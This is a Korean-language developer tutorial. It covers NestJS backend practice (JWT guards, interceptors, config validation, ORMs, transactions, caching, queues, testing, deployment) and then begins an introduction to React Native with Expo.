// 필터에서 HTTP 로 매핑
const DOMAIN_STATUS: Record<string, number> = {
INSUFFICIENT_STOCK: 409,
PAYMENT_DECLINED: 402,
LIMIT_EXCEEDED: 429,
};
@Catch(DomainError)
export class DomainExceptionFilter implements ExceptionFilter {
catch(err: DomainError, host: ArgumentsHost) {
const res = host.switchToHttp().getResponse();
res.status(DOMAIN_STATUS[err.code] ?? 400)
.json({ code: err.code, message: err.message });
}
}
NotFoundException(HTTP 개념)을 던지면
같은 서비스를 큐 워커나 배치에서 재사용할 때 어색해집니다.
도메인 예외로 던지고 변환은 필터에서 하면 계층이 깔끔하게 유지됩니다.
가드 · JWT 인증
“이 사람이 들어와도 되는가”를 판단하는 문지기입니다.
JWT 인증 구성
npm i @nestjs/jwt @nestjs/passport passport passport-jwt bcrypt@Module({
imports: [
PassportModule,
JwtModule.registerAsync({
inject: [ConfigService],
useFactory: (cfg: ConfigService) => ({
secret: cfg.getOrThrow("JWT_SECRET"),
signOptions: { expiresIn: "15m", issuer: "my-api" },
}),
}),
],
providers: [AuthService, JwtStrategy, JwtAuthGuard],
exports: [AuthService],
})
export class AuthModule {}
@Injectable()
export class JwtStrategy extends PassportStrategy(Strategy) {
constructor(cfg: ConfigService, private users: UsersService) {
super({
jwtFromRequest: ExtractJwt.fromAuthHeaderAsBearerToken(),
ignoreExpiration: false,
secretOrKey: cfg.getOrThrow("JWT_SECRET"),
});
}
// 반환값이 req.user 에 들어갑니다
async validate(payload: JwtPayload) {
return { id: Number(payload.sub), role: payload.role };
}
}
전역 가드 + 공개 엔드포인트
// ★ 기본을 "인증 필요"로 두고, 공개할 것만 표시하는 편이 안전합니다
export const IS_PUBLIC = "isPublic";
export const Public = () => SetMetadata(IS_PUBLIC, true);
@Injectable()
export class JwtAuthGuard extends AuthGuard("jwt") {
constructor(private reflector: Reflector) { super(); }
canActivate(ctx: ExecutionContext) {
const isPublic = this.reflector.getAllAndOverride<boolean>(IS_PUBLIC, [
ctx.getHandler(), ctx.getClass(),
]);
if (isPublic) return true;
return super.canActivate(ctx);
}
}
// app.module.ts — 전역 등록
providers: [{ provide: APP_GUARD, useClass: JwtAuthGuard }]
// 사용
@Public()
@Post("login")
login(@Body() dto: LoginDto) { ... }
권한(역할) 가드
export const Roles = (...roles: Role[]) => SetMetadata("roles", roles);
@Injectable()
export class RolesGuard implements CanActivate {
constructor(private reflector: Reflector) {}
canActivate(ctx: ExecutionContext): boolean {
const required = this.reflector.getAllAndOverride<Role[]>("roles", [
ctx.getHandler(), ctx.getClass(),
]);
if (!required?.length) return true;
const { user } = ctx.switchToHttp().getRequest();
if (!required.includes(user?.role))
throw new ForbiddenException("권한이 없습니다");
return true;
}
}
@Roles(Role.ADMIN)
@Delete(":id")
remove(@Param("id") id: number) { ... }
req.user 를 채우므로 파이프·핸들러에서 쓸 수 있습니다.
인터셉터에서 인증을 하려 하면 순서가 꼬입니다.
인터셉터 · 미들웨어
모든 요청 앞뒤에 공통 처리를 끼워 넣는 자리. 스프링 AOP 와 같습니다.
인터셉터 — 응답 변환 · 로깅 · 타임아웃
// ① 응답 형태 통일
@Injectable()
export class TransformInterceptor<T> implements NestInterceptor<T, ApiResponse<T>> {
intercept(ctx: ExecutionContext, next: CallHandler) {
return next.handle().pipe(
map(data => ({ success: true, data, timestamp: new Date().toISOString() })),
);
}
}
// ② 소요 시간 로깅
@Injectable()
export class LoggingInterceptor implements NestInterceptor {
private readonly logger = new Logger("HTTP");
intercept(ctx: ExecutionContext, next: CallHandler) {
const req = ctx.switchToHttp().getRequest();
const start = Date.now();
return next.handle().pipe(
tap(() => this.logger.log(
`${req.method} ${req.url} ${Date.now() - start}ms`)),
);
}
}
// ③ 타임아웃 — 오래 걸리는 요청 끊기
@Injectable()
export class TimeoutInterceptor implements NestInterceptor {
intercept(ctx: ExecutionContext, next: CallHandler) {
return next.handle().pipe(
timeout(10_000),
catchError(e => e instanceof TimeoutError
? throwError(() => new RequestTimeoutException())
: throwError(() => e)),
);
}
}
map·tap·catchError 세 개만 알면
실무의 90%는 커버됩니다. RxJS 를 깊게 배울 필요는 없습니다.
민감 정보 제거 — 직렬화
// 엔티티에 표시하고
export class User {
id: number;
email: string;
name: string;
role: string;
@Exclude() // ★ 응답에서 자동 제거
passwordHash: string;
@Expose()
get displayName() { return `${this.name}(${this.role})`; }
}
// 전역으로 켜기
app.useGlobalInterceptors(new ClassSerializerInterceptor(app.get(Reflector)));
@Exclude() 를 쓰거나, 아예 응답 DTO 를 따로 만드세요.
엔티티를 그대로 반환하는 습관이 원인입니다(🔷 TS t15).
미들웨어 — Express 그대로
@Injectable()
export class RequestIdMiddleware implements NestMiddleware {
use(req: Request, res: Response, next: NextFunction) {
const id = (req.headers["x-request-id"] as string) ?? randomUUID();
req.headers["x-request-id"] = id;
res.setHeader("x-request-id", id);
next();
}
}
export class AppModule implements NestModule {
configure(consumer: MiddlewareConsumer) {
consumer.apply(RequestIdMiddleware).forRoutes("*"); // ★ Nest 11(Express 5)은 "{*splat}"
consumer.apply(RawBodyMiddleware)
.forRoutes({ path: "webhooks/*", method: RequestMethod.POST });
// ★ Nest 11 부터 와일드카드 문법이 path-to-regexp v8 기준으로 바뀌었습니다
// "*" → "{*splat}" · "webhooks/*" → "webhooks/{*splat}"
}
}
설정 · 환경 변수
부팅할 때 검증하지 않으면 운영 중에 undefined 로 터집니다.
ConfigModule + 검증
npm i @nestjs/config joi (또는 zod)// config/configuration.ts
export default () => ({
port: parseInt(process.env.PORT ?? "3000", 10),
database: { url: process.env.DATABASE_URL },
redis: { url: process.env.REDIS_URL },
jwt: { secret: process.env.JWT_SECRET, expiresIn: "15m" },
});
// app.module.ts
@Module({
imports: [
ConfigModule.forRoot({
isGlobal: true, // 어디서나 주입 가능
load: [configuration],
envFilePath: [`.env.${process.env.NODE_ENV}`, ".env"],
cache: true,
validationSchema: Joi.object({ // ★ 부팅 시 검증
NODE_ENV: Joi.string().valid("development", "production", "test"),
PORT: Joi.number().default(3000),
DATABASE_URL: Joi.string().uri().required(),
JWT_SECRET: Joi.string().min(32).required(),
}),
validationOptions: { abortEarly: false },
}),
],
})
export class AppModule {}
// 사용
constructor(private readonly config: ConfigService) {}
this.config.get<number>("port");
this.config.getOrThrow<string>("jwt.secret"); // ★ 없으면 즉시 에러
타입 안전한 설정 — 권장 형태
// registerAs 로 네임스페이스 + 타입
export const dbConfig = registerAs("database", () => ({
url: process.env.DATABASE_URL!,
poolSize: Number(process.env.DB_POOL ?? 10),
}));
// 주입할 때 타입이 살아 있습니다
constructor(
@Inject(dbConfig.KEY)
private readonly db: ConfigType<typeof dbConfig>,
) {}
this.db.poolSize; // ✅ number 로 자동완성
undefined 가 되어
DB 에 연결되지 않거나, JWT 시크릿이 undefined 문자열이 되어
누구나 토큰을 위조할 수 있게 됩니다.
검증 스키마는 선택이 아니라 필수입니다.
환경별 설정 전략
.env 공통 기본값 (커밋 O — 비밀 값 없음)
.env.development 로컬 (커밋 X)
.env.test 테스트용
.env.production ❌ 만들지 마세요 — 운영은 환경 변수 주입
운영 값 주입 경로
Docker -e / --env-file
K8s ConfigMap · Secret
AWS Parameter Store · Secrets Manager
Vercel 등 대시보드 환경 변수
DB — TypeORM · Prisma
둘 다 실무에서 쓰입니다. 선택 기준부터 정리합니다.
무엇을 고를까
| 항목 | TypeORM / Prisma |
|---|---|
| 스타일 | 엔티티 클래스(JPA 유사) / 스키마 파일 + 생성된 클라이언트 |
| 타입 안전 | 보통 / 매우 강함 |
| Nest 통합 | 공식 모듈(@nestjs/typeorm) / 직접 프로바이더 작성 |
| 복잡한 쿼리 | QueryBuilder 로 유연 / raw SQL 로 빠짐 |
| 트랜잭션 | 다양한 방식 / $transaction |
| 자바 경험자 | 익숙함 (JPA 와 유사) / 새로 배워야 함 |
// TypeORM — 엔티티
@Entity("users")
export class User {
@PrimaryGeneratedColumn() id: number;
@Column({ unique: true }) email: string;
@Column() name: string;
@OneToMany(() => Order, o => o.user)
orders: Order[];
@CreateDateColumn() createdAt: Date;
@DeleteDateColumn() deletedAt?: Date; // 소프트 삭제
}
// 모듈 등록
TypeOrmModule.forRootAsync({
inject: [ConfigService],
useFactory: (cfg) => ({
type: "postgres",
url: cfg.getOrThrow("DATABASE_URL"),
autoLoadEntities: true,
synchronize: false, // ★ 운영에서 true 면 데이터가 날아갑니다
logging: cfg.get("NODE_ENV") !== "production",
extra: { max: 10 }, // 커넥션 풀
}),
})
Prisma 를 Nest 에 붙이기
@Injectable()
export class PrismaService extends PrismaClient
implements OnModuleInit, OnModuleDestroy {
async onModuleInit() { await this.$connect(); }
async onModuleDestroy() { await this.$disconnect(); }
}
@Global()
@Module({ providers: [PrismaService], exports: [PrismaService] })
export class PrismaModule {}
// 서비스에서
constructor(private readonly prisma: PrismaService) {}
const users = await this.prisma.user.findMany({ where: { active: true } });
N+1 을 피하는 법 — 어느 쪽이든
// ❌ N+1 — 사용자 100명이면 쿼리 101번
const users = await repo.find();
for (const u of users) u.orders = await orderRepo.findBy({ userId: u.id });
// ✅ TypeORM — relations 또는 QueryBuilder
await repo.find({ relations: { orders: true } });
await repo.createQueryBuilder("u")
.leftJoinAndSelect("u.orders", "o")
.where("u.active = :a", { a: true })
.getMany();
// ✅ Prisma — include
await prisma.user.findMany({ include: { orders: true } });
synchronize: false + 마이그레이션 사용,
② 커넥션 풀 크기 × 서버 대수가 DB 최대 접속 수 이내인지 확인,
③ 느린 쿼리 로깅을 켜 두기.
(🚀 대규모 트래픽 k10 에서 자세히)
트랜잭션 · 계층 설계
Nest 에는 스프링 같은 @Transactional 이 기본으로 없습니다.
방법 ① 명시적 트랜잭션 (가장 확실)
// Prisma
async createOrder(dto: CreateOrderDto) {
return this.prisma.$transaction(async (tx) => {
const order = await tx.order.create({ data: { ...dto } });
const r = await tx.stock.updateMany({
where: { productId: dto.productId, quantity: { gte: dto.qty } },
data: { quantity: { decrement: dto.qty } },
});
if (r.count === 0) throw new InsufficientStockError(dto.productId);
// ★ 던지면 자동 롤백됩니다
await tx.pointHistory.create({ data: { userId: dto.userId, amount: -dto.qty } });
return order;
}, { timeout: 5000, isolationLevel: "ReadCommitted" });
}
// TypeORM
await this.dataSource.transaction(async (manager) => {
await manager.save(order);
await manager.decrement(Stock, { productId }, "quantity", qty);
});
방법 ② 데코레이터로 (AsyncLocalStorage)
npm i @nestjs-cls/transactional nestjs-cls// 스프링처럼 쓰고 싶다면 이 조합이 사실상 표준입니다
@Injectable()
export class OrdersService {
@Transactional() // ★ 스프링과 같은 느낌
async createOrder(dto: CreateOrderDto) {
await this.orderRepo.save(dto);
await this.stockRepo.decrease(dto.productId, dto.qty);
// 두 리포지토리가 "같은 트랜잭션"을 자동으로 공유합니다
}
}
// 내부적으로 AsyncLocalStorage 로 트랜잭션 컨텍스트를 전파합니다
// (🟩 Node n16 의 요청 ID 전파와 같은 원리)
계층 규칙 — 이것만 지키면 됩니다
캐시 · 큐 (BullMQ)
응답 속도와 안정성을 동시에 올리는 두 가지 장치입니다.
캐시
npm i @nestjs/cache-manager cache-manager @keyv/redisCacheModule.registerAsync({
isGlobal: true,
inject: [ConfigService],
useFactory: (cfg) => ({
stores: [new KeyvRedis(cfg.getOrThrow("REDIS_URL"))],
ttl: 60_000, // 기본 60초
}),
})
// ① 자동 캐시 (GET 응답 전체)
@UseInterceptors(CacheInterceptor)
@CacheTTL(300_000)
@Get()
findAll() { ... }
// ② 직접 제어 — 실무에서는 이쪽이 더 많습니다
constructor(@Inject(CACHE_MANAGER) private cache: Cache) {}
async findOne(id: number) {
const key = `user:${id}`;
const hit = await this.cache.get<User>(key);
if (hit) return hit;
const user = await this.repo.findById(id);
// ★ TTL 에 랜덤을 섞어 동시 만료를 피합니다 (🚀 대규모 k04)
await this.cache.set(key, user, 300_000 + Math.random() * 60_000);
return user;
}
async update(id: number, dto: UpdateUserDto) {
const user = await this.repo.update(id, dto);
await this.cache.del(`user:${id}`); // ★ 수정이 아니라 삭제
return user;
}
큐 — 오래 걸리는 일은 넘기세요
npm i @nestjs/bullmq bullmqBullModule.forRootAsync({
inject: [ConfigService],
useFactory: (cfg) => ({
connection: { url: cfg.getOrThrow("REDIS_URL") },
defaultJobOptions: {
attempts: 3,
backoff: { type: "exponential", delay: 1000 }, // 재시도 1s → 2s (attempts 3 = 첫 시도 + 재시도 2번)
removeOnComplete: { age: 3600, count: 1000 }, // ★ 안 지우면 Redis 가 참
removeOnFail: { age: 86400 },
},
}),
}),
BullModule.registerQueue({ name: "email" })
// 작업 넣기 — 컨트롤러는 즉시 응답합니다
constructor(@InjectQueue("email") private emailQueue: Queue) {}
await this.emailQueue.add("welcome", { userId },
{ delay: 5000, jobId: `welcome:${userId}` }); // ★ jobId 로 중복 방지
// 처리하기
@Processor("email", { concurrency: 5 })
export class EmailProcessor extends WorkerHost {
async process(job: Job<{ userId: number }>) {
await job.updateProgress(50);
await this.mailer.sendWelcome(job.data.userId);
}
@OnWorkerEvent("failed")
onFailed(job: Job, err: Error) {
this.logger.error({ jobId: job.id, attempts: job.attemptsMade, err });
}
}
jobId 로 중복 등록을 막고, 처리 쪽도 멱등하게 만드세요
(🚀 대규모 트래픽 k06).
테스트
Nest 는 테스트 모듈을 제공합니다. DI 덕분에 가짜 끼우기가 쉽습니다.
단위 테스트
describe("UsersService", () => {
let service: UsersService;
let repo: { findByEmail: Mock; save: Mock };
beforeEach(async () => {
repo = { findByEmail: vi.fn(), save: vi.fn() };
const module = await Test.createTestingModule({
providers: [
UsersService,
{ provide: UsersRepository, useValue: repo }, // ★ 가짜 주입
{ provide: EventEmitter2, useValue: { emit: vi.fn() } },
],
}).compile();
service = module.get(UsersService);
});
it("이메일이 중복이면 ConflictException", async () => {
repo.findByEmail.mockResolvedValue({ id: 1 });
await expect(service.create(dto)).rejects.toThrow(ConflictException);
});
it("정상 생성 시 이벤트를 발행한다", async () => {
repo.findByEmail.mockResolvedValue(null);
repo.save.mockResolvedValue({ id: 1, ...dto });
await service.create(dto);
expect(repo.save).toHaveBeenCalledOnce();
});
});
E2E 테스트
describe("Users (e2e)", () => {
let app: INestApplication;
beforeAll(async () => {
const module = await Test.createTestingModule({
imports: [AppModule],
})
.overrideProvider(MailService) // ★ 외부 연동만 교체
.useValue({ send: vi.fn() })
.overrideGuard(ThrottlerGuard) // 테스트에서는 rate limit 끄기
.useValue({ canActivate: () => true })
.compile();
app = module.createNestApplication();
app.useGlobalPipes(new ValidationPipe({ whitelist: true })); // ★ main.ts 와 동일하게
await app.init();
});
afterAll(() => app.close());
it("POST /users → 201", () =>
request(app.getHttpServer())
.post("/users")
.send({ email: "a@b.c", password: "12345678", name: "김" })
.expect(201)
.expect(res => expect(res.body).not.toHaveProperty("passwordHash")));
it("잘못된 이메일 → 400", () =>
request(app.getHttpServer())
.post("/users").send({ email: "x" }).expect(400));
});
main.ts 에서만 등록하면 테스트 앱에는 적용되지 않아
검증이 안 도는 상태로 통과합니다.
공통 설정 함수를 만들어 양쪽에서 호출하세요.
WebSocket · MSA · GraphQL
같은 구조를 그대로 확장합니다. 컨트롤러만 바뀝니다.
WebSocket — 실시간
npm i @nestjs/websockets @nestjs/platform-socket.io socket.io@WebSocketGateway({ cors: true, namespace: "/chat" })
export class ChatGateway implements OnGatewayConnection {
@WebSocketServer() server: Server;
async handleConnection(client: Socket) {
const token = client.handshake.auth.token;
try {
client.data.user = this.jwt.verify(token); // ★ 연결 시 인증
} catch {
client.disconnect();
}
}
@SubscribeMessage("message")
async onMessage(@MessageBody() dto: MessageDto,
@ConnectedSocket() client: Socket) {
const saved = await this.chatService.save(dto, client.data.user.id);
this.server.to(dto.roomId).emit("message", saved);
return { ok: true }; // ack
}
}
@socket.io/redis-adapter)를 반드시 붙이세요
(🚀 대규모 트래픽 k11).
마이크로서비스
// 서비스 쪽 — HTTP 대신 메시지로 통신
const app = await NestFactory.createMicroservice(AppModule, {
transport: Transport.REDIS, // 또는 KAFKA · RMQ · TCP · gRPC
options: { host: "redis", port: 6379 },
});
@MessagePattern("order.create") // 요청-응답
async create(@Payload() dto: CreateOrderDto) { ... }
@EventPattern("order.created") // 단방향 이벤트
async onCreated(@Payload() event: OrderCreatedEvent) { ... }
// 호출하는 쪽
constructor(@Inject("ORDER_SERVICE") private client: ClientProxy) {}
const order = await firstValueFrom(this.client.send("order.create", dto));
this.client.emit("order.created", event); // 응답을 안 기다림
GraphQL — 코드 우선 방식
@ObjectType()
export class User {
@Field(() => Int) id: number;
@Field() email: string;
@Field(() => [Order]) orders: Order[];
}
@Resolver(() => User)
export class UsersResolver {
@Query(() => [User])
users(@Args("keyword", { nullable: true }) keyword?: string) { ... }
@ResolveField(() => [Order])
orders(@Parent() user: User) {
return this.loader.ordersByUser.load(user.id); // ★ DataLoader 로 N+1 방지
}
}
배포 · 모니터링
운영에 넘기기 전에 이것만은 확인하세요.
헬스체크
npm i @nestjs/terminus@Controller("health")
export class HealthController {
constructor(
private health: HealthCheckService,
private db: TypeOrmHealthIndicator,
private memory: MemoryHealthIndicator,
) {}
// ★ liveness — 프로세스가 살아 있는지만 (의존성 검사 X)
@Get("live")
@Public()
live() { return { status: "ok" }; }
// ★ readiness — 트래픽을 받을 준비가 됐는지 (의존성 포함)
@Get("ready")
@Public()
@HealthCheck()
ready() {
return this.health.check([
() => this.db.pingCheck("database", { timeout: 1500 }),
() => this.memory.checkHeap("memory_heap", 512 * 1024 * 1024),
]);
}
}
우아한 종료
app.enableShutdownHooks(); // ★ main.ts
@Injectable()
export class GracefulService implements OnApplicationShutdown {
async onApplicationShutdown(signal: string) {
this.logger.log(`${signal} 수신 — 정리 시작`);
await this.queue.close(); // 진행 중인 작업 완료 대기
await this.redis.quit();
}
}
관측 · 문서
// Prometheus 메트릭
import { PrometheusModule } from "@willsoto/nestjs-prometheus";
imports: [PrometheusModule.register({ path: "/metrics" })]
// OpenTelemetry 분산 추적 (🚀 대규모 k12)
// Swagger 자동 문서
const config = new DocumentBuilder()
.setTitle("My API").setVersion("1.0")
.addBearerAuth()
.build();
SwaggerModule.setup("docs", app, SwaggerModule.createDocument(app, config));
// ★ 운영에서는 인증을 걸거나 비활성화하세요
배포 체크리스트
- ☐
NODE_ENV=production·npm ci --omit=dev - ☐ 환경 변수 검증 스키마가 동작하는가 (s10)
- ☐
synchronize: false· 마이그레이션으로 스키마 관리 - ☐ 전역 ValidationPipe 의
whitelist켜짐 - ☐ 응답에 비밀번호 해시가 안 나가는가 (s09)
- ☐ liveness / readiness 분리
- ☐
enableShutdownHooks+ Dockerfile 이node직접 실행 - ☐ Swagger 가 운영에 열려 있지 않은가
- ☐ 로그가 JSON 한 줄인가 (nestjs-pino)
CQRS · 고급 구조
규모가 커진 서비스에서 Nest 를 더 밀어붙이는 방법들입니다.
CQRS — 읽기와 쓰기를 나누기
npm i @nestjs/cqrs// 명령 — 상태를 바꿉니다
export class CreateOrderCommand {
constructor(readonly userId: number, readonly items: OrderItem[]) {}
}
@CommandHandler(CreateOrderCommand)
export class CreateOrderHandler implements ICommandHandler<CreateOrderCommand> {
constructor(private readonly repo: OrderRepository,
private readonly publisher: EventPublisher) {}
async execute(cmd: CreateOrderCommand) {
const order = this.publisher.mergeObjectContext(Order.create(cmd));
await this.repo.save(order);
order.commit(); // ★ 쌓인 도메인 이벤트를 한 번에 발행
return order.id;
}
}
// 조회 — 상태를 안 바꿉니다 (읽기 전용 모델·복제본을 써도 됩니다)
@QueryHandler(GetOrderListQuery)
export class GetOrderListHandler {
async execute(q: GetOrderListQuery) {
return this.readDb.query(...); // ★ 정규화를 깬 뷰 테이블도 가능
}
}
// 이벤트 — 부수 효과
@EventsHandler(OrderCreatedEvent)
export class SendMailOnOrderCreated implements IEventHandler<OrderCreatedEvent> {
handle(e: OrderCreatedEvent) { this.queue.add("mail", { id: e.orderId }); }
}
동적 모듈 · 커스텀 프로바이더
// 사내 공통 모듈을 만들 때의 표준 형태
@Module({})
export class TracingModule {
static forRootAsync(options: TracingAsyncOptions): DynamicModule {
return {
module: TracingModule,
global: true,
imports: options.imports ?? [],
providers: [
{
provide: TRACING_OPTIONS,
useFactory: options.useFactory,
inject: options.inject ?? [],
},
TracingService,
],
exports: [TracingService],
};
}
}
// ConfigurableModuleBuilder — 위 보일러플레이트를 자동 생성 (Nest 9+)
export const { ConfigurableModuleClass, MODULE_OPTIONS_TOKEN } =
new ConfigurableModuleBuilder<TracingOptions>().setClassMethodName("forRoot").build();
export class TracingModule extends ConfigurableModuleClass {}
// 요청 컨텍스트 전파 — REQUEST 스코프보다 훨씬 빠릅니다
import { ClsModule, ClsService } from "nestjs-cls";
ClsModule.forRoot({
global: true,
middleware: {
mount: true,
setup: (cls, req) => {
cls.set("requestId", req.headers["x-request-id"] ?? randomUUID());
// ★ 여기서 req.user 는 아직 없습니다 — 미들웨어는 가드(인증)보다 먼저 돕니다.
// userId 는 인증 가드나 인터셉터에서 cls.set("userId", ...) 로 넣으세요
},
},
});
// 어디서든 꺼내 씁니다 (매개변수로 안 넘겨도 됩니다)
constructor(private readonly cls: ClsService) {}
this.logger.log({ requestId: this.cls.get("requestId") }, "주문 생성");
// ★ 내부적으로 AsyncLocalStorage 를 씁니다 (🟩 Node n16)
// ★ 트랜잭션 전파(s12)도 같은 원리입니다
Scope.REQUEST 를 피해야 하는 이유 —
요청마다 의존성 트리 전체를 새로 만듭니다.
그 프로바이더를 주입받는 상위 프로바이더도 전부 요청 스코프가 되어
성능이 눈에 띄게 떨어집니다.
요청 정보가 필요하면 CLS(AsyncLocalStorage) 를 쓰세요.
웹뷰가 아니라
진짜
네이티브 화면
React Native 는 자바스크립트로 로직을 쓰고, 화면은 진짜 네이티브 부품으로 그립니다. 안드로이드·iOS 를 하나의 코드로 만들 수 있고, 웹 개발 경험이 거의 그대로 이어집니다 — 다만 다른 점이 분명히 있습니다. 여기까지 마치면 스토어에 올릴 앱을 혼자 만들고 60fps 로 다듬어 배포까지 할 수 있습니다.
RN 이 동작하는 원리
여기를 이해하면 성능 문제의 원인이 전부 보입니다.
옛 아키텍처 — 브리지
[JS 스레드] [브리지] [네이티브 UI 스레드]
React 로직 ──JSON 직렬화──> 실제 화면 그리기
<──비동기·배치───
문제
· 모든 통신이 JSON 직렬화 → 비용이 큼
· 완전 비동기 → 스크롤 중 흰 화면이 보이는 원인
· JS 스레드가 막히면 → 터치·애니메이션이 전부 멈춤
New Architecture — 이제 이것만 남았습니다
[JS] ←── JSI (직접 호출) ──→ [C++ / 네이티브]
↓
Fabric (새 렌더러) · TurboModules (지연 로딩)
달라진 점
· JSI — JS 가 네이티브 함수를 직접 호출 (직렬화 없음)
· Fabric — 동기 레이아웃 가능 → 흰 화면 감소
· TurboModules — 쓰는 모듈만 로딩 → 시작 속도 개선
· Hermes V1 — 0.84 부터 기본. 시작 속도·런타임 성능·메모리가 다시 개선됐습니다
여기까지 온 길
0.68 New Architecture 실험적으로 공개 (옵트인)
0.76 기본값으로 전환 — 끄는 것도 아직 가능
0.82 ★ New Architecture 만 남음 (Legacy 를 켤 수 없음)
0.83 ★ Legacy 코드가 저장소에서 삭제 (Expo SDK 55)
0.84 Hermes V1 이 기본 엔진
0.85 Node 20.19.4 이상 요구
0.86 현재 — Expo SDK 57 이 이 버전을 씁니다 (React 19.2)
웹 React 와 다른 점
| 웹 | React Native |
|---|---|
<div> <span> | <View> <Text>
— 모든 글자는 Text 안에 |
<img> | <Image> — 크기를 반드시 지정 |
| CSS 파일 | StyleSheet.create — 객체, 단위 없음 |
| 클릭 | onPress (Pressable) |
| 스크롤 자동 | ScrollView·FlatList 필요 |
기본 방향 row | 기본이 column |
localStorage | AsyncStorage · MMKV |
| 라우터 = URL | 내비게이션 스택 |
import { View, Text, Pressable, StyleSheet } from "react-native";
export default function Hello({ name }: { name: string }) {
return (
<View style={styles.box}>
<Text style={styles.title}>안녕하세요 {name}님</Text>
<Pressable style={styles.btn} onPress={() => console.log("탭")}>
<Text style={styles.btnText}>눌러 보세요</Text>
</Pressable>
</View>
);
}
const styles = StyleSheet.create({
box: { padding: 16, gap: 12 }, // ★ gap 지원 (0.71+)
title: { fontSize: 18, fontWeight: "600" },
btn: { backgroundColor: "#2563eb", padding: 12, borderRadius: 8 },
btnText: { color: "#fff", textAlign: "center" },
});
Expo vs Bare 선택
처음 시작할 때 가장 중요한 결정입니다. 결론부터: Expo 로 시작하세요.
비교
| 항목 | Expo / Bare(순수 RN) |
|---|---|
| 시작 | 1분 / Xcode·Android Studio 설정 필요 |
| 네이티브 코드 | 가능(prebuild) / 자유 |
| 빌드 | EAS 클라우드 빌드 / 로컬 빌드 환경 필요 |
| 업데이트 | OTA 지원(EAS Update) / 직접 구축 |
| 맥 없이 iOS | 가능 (EAS) / 불가 |
| 라이브러리 | 대부분 호환 / 전부 가능 |
expo-* 모듈의 궁합을
직접 맞추는 일이 Bare 에서 가장 자주 시간을 잡아먹습니다.
2026-08 현재 최신은 Expo SDK 57(React Native 0.86 · React 19.2)입니다.
# 시작
npx create-expo-app@latest my-app --template
cd my-app && npx expo start # QR 찍으면 실기기에서 바로 확인
# 네이티브 폴더가 필요해지면 (되돌릴 수 있습니다)
npx expo prebuild # ios/ android/ 생성
# 빌드 · 배포
npx eas build --platform all
npx eas submit --platform ios
프로젝트 구조 (Expo Router 기준)
app/ ★ 파일 = 화면 (Next.js 방식)
_layout.tsx 공통 레이아웃
index.tsx → /
(tabs)/ 탭 그룹
_layout.tsx
home.tsx
profile.tsx
orders/
[id].tsx → /orders/123
+not-found.tsx
components/ 재사용 UI
hooks/ 커스텀 훅
lib/ api · storage · util
constants/ 색상 · 크기
assets/ 이미지 · 폰트
app.json 앱 설정 (이름·아이콘·권한)
eas.json 빌드 프로필
// app.json — 자주 만지는 부분
{
"expo": {
"name": "내 앱",
"slug": "my-app",
"version": "1.0.0",
"orientation": "portrait",
"scheme": "myapp", // 딥링크 myapp://
"ios": { "bundleIdentifier": "com.company.myapp",
"buildNumber": "1" },
"android": { "package": "com.company.myapp",
"versionCode": 1,
"adaptiveIcon": { ... } },
"plugins": ["expo-router", "expo-secure-store"]
}
}
com.회사.앱이름 형식으로 처음에 신중히 정하세요.
컴포넌트 · JSX · Props
React 를 안다면 이 절은 빠르게 넘어가세요.
기본 컴포넌트
| 컴포넌트 | 용도 |
|---|---|
View | 레이아웃 상자 (div) |
Text | 모든 글자는 여기 안에 |
Image / expo-image | 이미지. 후자를 권장(캐시·성능) |
Pressable | 터치 — TouchableOpacity 보다 유연 |
TextInput | 입력창 |
ScrollView | 적은 항목 스크롤 (전부 렌더링됨) |
FlatList | 목록 — 화면에 보이는 것만 (r06) |
SafeAreaView | 노치·홈바 영역 회피 |
Modal | 전체 화면 오버레이 |
ActivityIndicator | 로딩 스피너 |
type Props = {
title: string;
subtitle?: string;
onPress: () => void;
disabled?: boolean;
};
export function Card({ title, subtitle, onPress, disabled }: Props) {
return (
<Pressable
onPress={onPress}
disabled={disabled}
// ★ 눌림 상태에 따라 스타일을 함수로 줄 수 있습니다
style={({ pressed }) => [
styles.card,
pressed && styles.pressed,
disabled && styles.disabled,
]}
// ★ 접근성 — 스토어 심사와 사용자 경험에 중요합니다
accessibilityRole="button"
accessibilityLabel={title}
hitSlop={8} // 터치 영역 확대
>
<Text style={styles.title}>{title}</Text>
{subtitle ? <Text style={styles.sub}>{subtitle}</Text> : null}
{/* ★ subtitle && … 로 쓰면 빈 문자열 "" 일 때 Text 밖 문자열 에러 (아래 0 함정과 같은 원리) */}
</Pressable>
);
}
플랫폼 분기
import { Platform } from "react-native";
// ① 값 분기
const padding = Platform.OS === "ios" ? 20 : 16;
// ② select
const shadow = Platform.select({
ios: { shadowColor: "#000", shadowOpacity: 0.1, shadowRadius: 8 },
android: { elevation: 4 },
default: {},
});
// ③ 파일 분기 — 확장자로 자동 선택
// Button.ios.tsx / Button.android.tsx / Button.tsx
// 버전 확인
if (Platform.OS === "android" && Platform.Version >= 33) { ... }
자주 만나는 실수
// ❌ Text 밖의 문자열 → 즉시 에러
<View>안녕하세요</View>
// ✅
<View><Text>안녕하세요</Text></View>
// ❌ 조건부 렌더링에서 0 이 그대로 렌더링됨
{items.length && <List />} // 0 이면 "0" 이 화면에 찍힙니다
// ✅
{items.length > 0 && <List />}
// ❌ 이미지에 크기가 없으면 안 보입니다 (원격 이미지)
<Image source={{ uri }} />
// ✅
<Image source={{ uri }} style={{ width: 100, height: 100 }} />
// ❌ 인라인 스타일 객체는 매 렌더마다 새로 생성됩니다
<View style={{ padding: 16 }} />
// ✅ StyleSheet.create 로 밖에서 (r12 성능)
상태 관리
상태를 종류별로 나누는 것이 핵심입니다. 하나로 다 관리하려 하지 마세요.
상태를 네 가지로 나누세요
| 종류 | 도구 |
|---|---|
| 지역 UI 상태 | useState — 모달 열림, 입력값 |
| 서버 데이터 | TanStack Query ★ (r08) — 절대 직접 관리하지 마세요 |
| 전역 클라이언트 상태 | Zustand — 로그인 정보, 테마, 장바구니 |
| 영속 상태 | MMKV·SecureStore (r09) |
useState 에 넣고
로딩·에러·재요청·캐시를 전부 손으로 관리하는 것입니다.
이 코드는 반드시 버그가 생깁니다.
서버 데이터는 TanStack Query 에 맡기세요.
// 훅 기본
const [count, setCount] = useState(0);
setCount(c => c + 1); // ★ 이전 값 기반은 함수형으로
// 비싼 계산 캐시
const sorted = useMemo(() => items.toSorted(cmp), [items]);
// 함수 재생성 방지 (자식이 memo 일 때 의미 있음)
const onPress = useCallback((id: string) => navigate(id), [navigate]);
// 부수 효과 — ★ 정리 함수를 꼭 반환하세요
useEffect(() => {
const sub = AppState.addEventListener("change", handler);
return () => sub.remove(); // 안 지우면 메모리 누수
}, []);
Zustand — 전역 상태
npm i zustandimport { create } from "zustand";
